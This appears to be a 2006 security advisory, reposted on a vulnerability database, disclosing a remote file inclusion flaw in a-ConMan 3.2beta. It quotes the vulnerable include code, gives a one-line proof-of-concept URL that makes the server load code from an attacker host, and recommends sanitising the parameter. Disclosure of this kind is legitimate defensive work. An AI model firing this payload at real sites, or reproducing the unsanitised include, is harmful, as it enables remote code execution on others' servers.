Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:15203
HistoryNov 25, 2006 - 12:00 a.m.

[ECHO_ADV_61_2006] a-ConMan <= v3.2beta Remote File Inclusion

2006-11-2500:00:00
vulners.com
7

[ECHO_ADV_61$2006] a-ConMan <= v3.2beta Remote File Inclusion

Author : Ahmad Maulana a.k.a Matdhule
Date Found : November, 22nd 2006
Location : Indonesia, Jakarta
web : http://advisories.echo.or.id/adv/adv61-matdhule-2006.txt
Critical Lvl : Highly critical
Impact : System access
Where : From Remote

Affected software description:

a-ConMan &#40;Automated Content Management&#41;

Application     : a-ConMan &#40;Automated Content Management&#41;
version         : 3.2beta
URL             : http://sourceforge.net/projects/a-conman

a-ConMan is a flexible database solution built to categorize and manage your image and video content.
Giving you the ability to automate the building and updating for any type of content specific website
within seconds. Utilizing one of the most advanced

---------------------------------------------------------------------------

Vulnerability:
~~~~~~~~~~~~~~

I found vulnerability at script common.inc.php

-----------------------common.inc.php----------------------
....
&lt;?php
include_once&#40;$cm_basedir.&quot;/ez_sql.php&quot;&#41;;
include_once&#40;$cm_basedir.&quot;/pg2ezsql.php&quot;&#41;;
// include_once&#40;$cm_basedir.&quot;/functions.php&quot;&#41;;
$ver = &quot;3.1.1228&quot;;

...
----------------------------------------------------------

Input passed to the &quot;cm_basedir&quot; parameter in common.inc.php is not
properly verified before being used. This can be exploited to execute
arbitrary PHP code by including files from local or external
resources.

Proof Of Concept:
~~~~~~~~~~~~~~~

http://target.com/[a-conman_path]/php.incs/common.inc.php?cm_basedir=http://attacker.com/inject.txt?


Solution:
~~~~~~~
- Sanitize variable $cm_basedir on common.inc.php.

---------------------------------------------------------------------------
Shoutz:
~~~
~ solpot a.k.a chris, J4mbi  H4ck3r thx for the hacking lesson    :&#41;   
~ y3dips,the_day,moby,comex,z3r0byt3,K-159,c-a-s-e,S&#96;to,lirva32,anonymous,str0ke
~ bius, lapets, BlueSpy, NpR, h4ntu, thama, Fungky
~ [email protected], [email protected]
~ Solpotcrew Comunity &#40;#nyubicrew @ allindo.net&#41;, #e-c-h-o @irc.dal.net
------------------------------------------------------------------------
---
Contact:
~~~~
 
     matdhule[at]gmail[dot]com
     
-------------------------------- [ EOF ]----------------------------------